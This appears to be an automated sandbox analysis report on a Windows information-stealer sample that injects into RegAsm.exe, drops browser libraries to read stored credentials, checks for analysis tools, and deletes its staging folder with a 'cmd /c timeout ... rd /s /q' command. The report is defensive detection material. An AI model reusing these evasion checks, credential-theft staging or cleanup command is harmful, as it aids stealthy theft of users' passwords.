Source: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/26@1/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6CC97030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6CC97030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004111BE _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_004111BE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004106C4 _EH_prolog,CoCreateInstance,SysAllocString,_wtoi64,SysFreeString,SysFreeString,

2_2_004106C4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\76561199689717899[1].htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3532:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\$Recycle.Bin\S-1-5-21-2246122658-3693405117-2476756634-1003\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2476833209.000000006CE6F000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2476833209.000000006CE6F000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2476833209.000000006CE6F000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2476833209.000000006CE6F000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2476833209.000000006CE6F000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2476833209.000000006CE6F000.00000002.00000001.01000000.00000007.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: GHJDBA.2.dr, FHDAFI.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DBFCBGCGIJKJ" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DBFCBGCGIJKJ" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.2476833209.000000006CE6F000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.2476833209.000000006CE6F000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000002.00000002.2472331354.00000000191E8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2468847118.000000001326F000.00000004.00000020.00020000.00000000.sdmp, sqls[1].dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00417645 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_00417645

Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.2.dr	Static PE information: section name: .00cfg
Source: sqls[1].dll.2.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.2.dr	Static PE information: section name: .didat
Source: nss3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.2.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00134964 push ecx; ret	0_2_00134977
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004191D5 push ecx; ret	2_2_004191E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CC6B536 push ecx; ret	2_2_6CC6B549

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqls[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\DBFCBGCGIJKJ\freebl3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_00417645

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 5768, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL
Source: RegAsm.exe, 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: AHAL9THJOHNDOEAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqls[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\DBFCBGCGIJKJ\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\DBFCBGCGIJKJ\softokn3.dll	Jump to dropped file
